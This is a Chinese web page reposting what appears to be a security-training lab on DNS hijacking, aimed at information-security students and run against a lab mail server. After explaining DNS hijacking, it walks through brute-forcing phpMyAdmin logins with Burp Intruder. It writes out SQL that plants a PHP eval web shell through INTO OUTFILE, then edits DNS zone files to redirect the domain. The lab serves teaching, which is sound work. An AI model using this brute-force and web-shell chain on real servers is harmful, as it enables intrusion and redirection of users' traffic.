200字范文,内容丰富有趣,生活中的好帮手!
200字范文 > 域名劫持原理与实践

域名劫持原理与实践

时间:2021-01-28 10:52:12

相关推荐

域名劫持原理与实践

实验简介:

实验所属系列:web安全

实验对象:本科/专科信息安全专业

相关课程及专业:信息网络安全概论

实验时数(学分):1学时

实验类别:实践实验类

预备知识:

了解域名及域名劫持

由于点分十进制的IP地址难于记忆,便出现了域名。由于网络传输中最终还是基于IP,所以必须通过一种机制将IP和域名一一对应起来,这便是DNS。全球总共有13台根域名服务器。

域名劫持是互联网攻击中常见的一种攻击方式,攻击者通过对DNS服务器进行攻击,或伪造DNS将目标站点解析到别的地址,用户访问该域名时被重定向到别的站点。在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定的网址不能访问或访问的是假网址。

域名劫持的原理

域名劫持的基本原理是用户输入要访问的域名,请求DNS服务器遍历DNS数据库,查找该域名对应的IP地址,将其结果返回给用户。在DNS服务器遍历DNS数据库时,如果修改了该域名对应的IP,便实现了域名劫持。简单来说就是:本来一个域名对应一个IP,当这个域名对应到别的IP上就称为域名劫持。如果知道该域名的真实IP地址,则可以直接用此IP代替域名后进行访问。

实验目的:

通过该实验了解域名劫持的原理,完成对邮件服务器的劫持。

实验环境:

邮件服务器:Win,IP地址:10.1.1.10

另一台主机地址:10.1.1.253

测试者:win7,IP地址随机

实验步骤:

实验中提供了一台邮件服务器,该服务器同时提供DNS服务,测试者通过入侵到该服务器,修改DNS服务中的正向解析与反向解析文件实现劫持。

首先我们打开 ,看到一个邮件登录入口。

这里我们先使用burpsuite对该站点进行目录扫描。

1、配置好IE代理,截取数据包。

2、右键sendtospider。

发现存在phpmyadmin。如果未出现请单击Filter将Hide empty folders(隐藏空文件夹)的勾去掉。

然后在地址栏添加phpmyadmin,如图:

接下来对phpmyadmin进行暴力破解,随便输入一个用户名和密码,比如此处我输入:用户名:root密码:123,页面提示错误,然后查看burpsuite截获到的数据包。

找到Authorization,选中Basic后边的字符串,进行如下步骤:右键convertselection->base64->base64-decode。

可以看到刚才输入的用户名和密码。

右键sendtointruder,在Positions选项卡下单击clear$。

选中root:123,单击add$。

切换到payloads选项卡下,设置payloadtype,在add处添加用户名,separatorforposition1处添加一个冒号。

加载桌面上一个密码字典pass.txt,配置如下。

配置payloadprocessing,如下图:

去掉payloadencoding中的对号。

单击intruder下的startattack,一段时间后,发现了一个length和其他的不同。

双击打开,复制红色区域的字符串。

接下来需要知道网站的路径是什么,一般网站搭建好后都会存在info.php,phpinfo.php,php_info.php等测试文件,一一访问下,发现存在phpinfo.php文件,并得知网站目录为C:/xampp/xampp/htdocs。

此时需要通过phpmyadmin拿这个站点的shell,选择SQL,输入如下命令,点击执行:

usemysql; //使用Mysql数据库

CreateTABLEheetian(heetian1textNOTNULL);//创建heetian表,heetian1字段

InsertINTOheetian(heetian1)VALUES('<?php@eval($_POST[pass]);?>');//在heetian表中的heetian1字段中添加值为一句话

selectheetian1fromheetianintooutfile'C:/xampp/xampp/htdocs/test.php';//使用Mysql中outfile函数将其导出到test.php

DropTABLEIFEXISTSheetian;//删除heetian表

执行成功,访问下/test.php

发现返回空白页面,接下来用中国菜刀连接一下。

接下来我们需要对这台服务器进行域名劫持,将其劫持到一台IP为10.1.1.253的主机上,找到C:\WINDOWS\system32\dns\etc中的.zone和10.1.1.zone。

分别对这两个文件进行编辑,保存。

右键“虚拟终端”。

重启下dns服务,输入命令:netstopnamed和netstartnamed,回车。

刷新 ,发现劫持成功。页面会显示为:“欢迎来到合天网安实验室!”

实验答题:

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。